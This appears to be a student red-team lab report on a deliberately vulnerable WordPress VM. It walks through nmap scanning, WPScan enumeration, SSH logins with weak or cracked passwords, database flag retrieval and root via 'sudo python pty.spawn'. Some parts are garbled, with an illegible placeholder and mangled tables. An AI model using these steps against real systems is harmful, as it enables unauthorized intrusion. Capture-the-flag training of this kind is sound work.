

Red Team: Summary of Operations

Report by: Amisha Mehta

Table of Contents

- Exposed Services
- Critical Vulnerabilities
- Exploitation

Exposed Services

Nmap scan results for each machine reveal the below services and OS details:

- `$ nmap -v -Pn -O 192.168.1.90/24`

```

Nmap scan report for 192.168.1.105
Host is up (0.00073s latency).
Not shown: 998 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
MAC Address: 00:15:5D:00:04:0F (Microsoft)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=8/26%OT=22%CT=1%CU=38620%PV=Y%DS=1%DC=D%G=Y%M=00155D%T
OS:M=6128463D%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=10B%TI=Z%CI=Z%II=I
OS:%TS=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O
OS:5=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6
OS:=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O
OS:%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=
OS:0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0
OS:S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(
OS:R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=
OS:N%T=40%CD=S)

Uptime guess: 35.111 days (since Thu Jul 22 16:15:59 2021)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=261 (Good luck!)
IP ID Sequence Generation: All zeros

```

```

Nmap scan report for 192.168.1.110
Host is up (0.00073s latency).
Not shown: 995 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
MAC Address: 00:15:5D:00:04:10 (Microsoft)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=8/26%OT=22%CT=1%CU=38605%PV=Y%DS=1%DC=D%G=Y%M=00155D%T
OS:M=6128463D%P=x86_64-pc-linux-gnu)SEQ(SP=FC%GCD=1%ISR=F9%TI=Z%CI=I%II=I%T
OS:S=8)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5=
OS:M5B4ST11NW7%O6=M5B4ST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7
OS:120)ECN(R=Y%DF=Y%T=40%W=7210%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=0%A
OS:=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0
OS:Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=
OS:A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=
OS:Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%
OS:T=40%CD=S)

Uptime guess: 0.103 days (since Thu Aug 26 16:28:10 2021)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=252 (Good luck!)
IP ID Sequence Generation: All zeros

```

This scan identifies the services below as potential points of entry:

- Target 1
 - Port 22/TCP ssh
 - Port 80/TCP Open Http
 - Port 111/TCP rpcbind
 - Port 139/TCP netbios-ssn
 - Port 445/TCP microsoft-ds

Critical Vulnerabilities

The following vulnerabilities were identified on each target:

- Target 1
 - Weak User credentials
 - Wordpress User Enumeration
 - Unsalted User Password Hash
 - Misconfiguration of User Privileges

Exploitation

The Red Team was able to penetrate Target 1 and retrieve the following confidential data:

- Target 1
 - flag1.txt: b9bbcb33ellb80be759c4e844862482
 - **Exploit Used**
 - Used WPScan to enumerate users on the target Wordpress site.
 - `$ wpscan --url http://192.168.1.110`

```
root@Kali:~# nmap -v -Pn -sT -sV 192.168.1.110
Starting Nmap 7.80 ( https://nmap.org ) at 2021-08-26 18:44 PDT
NSE: Loaded 45 scripts for scanning.
Initiating Parallel DNS resolution of 1 host. at 18:44
Completed Parallel DNS resolution of 1 host. at 18:44, 0.03s elapsed
Initiating Connect Scan at 18:44
Scanning 192.168.1.110 [1000 ports]
Discovered open port 111/tcp on 192.168.1.110
Discovered open port 22/tcp on 192.168.1.110
Discovered open port 445/tcp on 192.168.1.110
Discovered open port 139/tcp on 192.168.1.110
Discovered open port 80/tcp on 192.168.1.110
Completed Connect Scan at 18:44, 0.06s elapsed (1000 total ports)
Initiating Service scan at 18:44
Scanning 5 services on 192.168.1.110
Completed Service scan at 18:44, 11.02s elapsed (5 services on 1 host)
NSE: Script scanning 192.168.1.110.
Initiating NSE at 18:44
Completed NSE at 18:44, 0.04s elapsed
Initiating NSE at 18:44
Completed NSE at 18:44, 0.01s elapsed
Nmap scan report for 192.168.1.110
Host is up (0.00051s latency).
Not shown: 995 closed ports
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
80/tcp    open  http         Apache httpd 2.4.10 ((Debian))
111/tcp   open  rpcbind      2-4 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
Service Info: Host: TARGET1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.27 seconds
root@Kali:~#
```

- User Michael was the chosen target
 - Michael's password was weak
 - Password: michael
- Steps to capture Flag 1
 - SSH into Michael `$ssh michael@192.168.1.110`
 - Pw: michael
 - `cd /var/www/html`

- [illegible]

- ```
michael@target1:/var$ ls -ls
total 40
4 drwxr-xr-x 2 root root 4096 Jul 1 2020 backups
4 drwxr-xr-x 11 root root 4096 Jun 24 2020 cache
4 drwxr-xr-x 43 root root 4096 Jun 27 2020 lib
4 drwxrwsr-x 2 root staff 4096 Jun 14 2018 local
0 lrwxrwxrwx 1 root root 9 Aug 13 2018 lock -> /run/lock
4 drwxr-xr-x 12 root root 4096 Jul 1 2020 log
4 drwxrwsrwt 2 root mail 4096 Aug 29 03:14 mail
4 drwxr-xr-x 2 root root 4096 Aug 13 2018 opt
0 lrwxrwxrwx 1 root root 4 Aug 13 2018 run -> /run
4 drwxr-xr-x 8 root root 4096 Jun 24 2020 spool
4 drwxrwxrwt 2 root root 4096 Jul 1 2020 tmp
4 drwxrwxrwx 3 root root 4096 Aug 13 2018 www
michael@target1:/var$ cd www
michael@target1:/var/www$ ls -ls
total 8
4 -rw-r--r-- 1 root root 40 Aug 13 2018 flag2.txt
4 drwxrwxrwx 10 root root 4096 Aug 13 2018 tmp
michael@target1:/var/www$ cat flag2.txt
flag2{fc3fd58dcdad9ab23faca6e9a36e581c}
michael@target1:/var/www$
```

- Use wordpress;
- Show tables;
- Select \* from wp\_posts;
- This exploit also gave flag 4

```
mysql> select * from wp_posts;
```

```

+-----+-----+-----+-----+
| 8/08/12/4-revision-v1/ | 2018-08-12 23:31:59 | 0 | revision | inherit | closed | closed | 4 | http://raven.local/wordpress/index.php/2 | 4-revision-v1 |
| 7 | 2 | 2018-08-13 01:48:31 | 2018-08-13 01:48:31 | flag3{afc01ab56b50591e7dccf93122770cd2} |

```

```

+-----+-----+-----+-----+
| 5 | 1 | 2018-08-12 23:31:59 | 2018-08-12 23:31:59 | flag4{715dea6c055b9fe3337544932f2941ce} | post | open | open | 0 | http://raven.local/wordpress/?p=4 |
| 1 | 2018-08-13 01:48:31 | 2018-08-13 01:48:31 | draft |

```

- Flag4: 715dea6c055b9fe3337544932f2941ce
  - **Unsalted password hash and using Python for privilege escalation**
    - Use mysql database to retrieve user credentials and use John The Ripper to crack password hash.
    - Use python to gain root privileges.
    - Commands:
      - Ssh steven@192.168.1.110
      - Pw: pink84
      - sudo python -c 'import pty;pty.spawn("/bin/bash")'
      - locate \*flag\*
      - cat /root/flag4.txt

```
Connection to 192.168.1.110 closed.
```

```
root@Kali:~# ssh steven@192.168.1.110
```

```
steven@192.168.1.110's password:
```

```
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
```

```
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
```

```
Last login: Wed Jun 24 04:02:16 2020
```

```
$ ls
```

```
$ sudo python -c 'import pty; pty.spawn("/bin/sh")'
```

```
#
```

